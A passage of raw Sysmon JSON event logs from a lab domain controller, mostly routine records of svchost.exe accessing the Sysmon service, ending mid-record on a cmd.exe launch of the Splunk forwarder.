588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3189,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3190,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3191,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3192,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3193,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3194,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3195,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.103\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.103","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3196,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.355\r\nProcessGuid: {90617006-407B-5F2D-0000-001082130500}\r\nProcessId: 1328\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT 